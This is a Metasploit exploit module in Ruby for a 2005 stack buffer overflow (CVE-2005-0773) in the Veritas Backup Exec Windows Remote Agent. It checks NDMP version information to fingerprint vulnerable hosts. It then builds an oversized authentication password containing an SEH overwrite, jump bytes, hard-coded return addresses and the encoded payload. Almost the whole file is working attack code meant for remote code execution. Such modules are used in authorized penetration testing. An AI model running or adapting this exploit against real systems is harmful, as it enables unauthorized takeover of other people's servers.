##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::NDMP

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Veritas Backup Exec Windows Remote Agent Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the Veritas
        BackupExec Windows Agent software. This vulnerability occurs
        when a client authentication request is received with type
        '3' and a long password argument. Reliable execution is
        obtained by abusing the stack buffer overflow to smash a SEH
        pointer.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2005-0773'],
          [ 'OSVDB', '17624'],
          [ 'BID', '14022'],
          [ 'URL', 'http://www.idefense.com/application/poi/display?id=272&type=vulnerabilities']
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
      'Platform'       => %w{ win },
      'Targets'        =>
        [
          [
            'Veritas BE 9.0/9.1/10.0 (All Windows)',
            {
              'Platform' => 'win',
              'Rets'     => [ 0x0140f8d5, 0x014261b0 ],
            },
          ],
          [
            'Veritas BE 9.0/9.1/10.0 (Windows 2000)',
            {
              'Platform' => 'win',
              'Rets'     => [ 0x75022ac4, 0x75022ac4 ],
            },
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 22 2005'))

    register_options(
      [
        Opt::RPORT(10000)
      ])
  end

  def check
    info = ndmp_info()
    if (info and info['Version'])
      vprint_status(" Vendor: #{info['Vendor']}")
      vprint_status("Product: #{info['Product']}")
      vprint_status("Version: #{info['Version']}")

      if (info['Vendor'] =~ /VERITAS/i and info['Version'] =~ /^(4\.2|5\.1)$/)
        return Exploit::CheckCode::Appears
      end
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    resp = ndmp_recv()

    username = 'X' * 512
    password = rand_text_alphanumeric(8192)

    # Place our payload early in the request and jump backwards into it
    password[ 3536 - payload.encoded.length, payload.encoded.length] = payload.encoded

    # This offset is required for version 10.0
    password[3536, 2] = "\xeb\x06"
    password[3540, 4] = [ target['Rets'][1] ].pack('V')
    password[3544, 5] = "\xe9" + [-1037].pack('V')

    # This offset is required for version 9.0/9.1
    password[4524, 2] = "\xeb\x06"
    password[4528, 4] = [ target['Rets'][0] ].pack('V')
    password[4532, 5] = "\xe9" + [-2025].pack('V')

    # Create the authentication request
    auth = [
        1,               # Sequence number
        Time.now.to_i,   # Current time
        0,               # Message type (request)
        0x901,           # Message name (connect_client_auth)
        0,               # Reply sequence number
        0,               # Error status
        3                # Authentication type
      ].pack('NNNNNNN') +
      [ username.length ].pack('N') + username +
      [ password.length ].pack('N') + password +
      [ 4 ].pack('N')

    print_status("Sending authentication request...")
    ndmp_send(auth)

    # Attempt to read a reply (this should fail)
    ndmp_recv()

    handler
    disconnect
  end
end
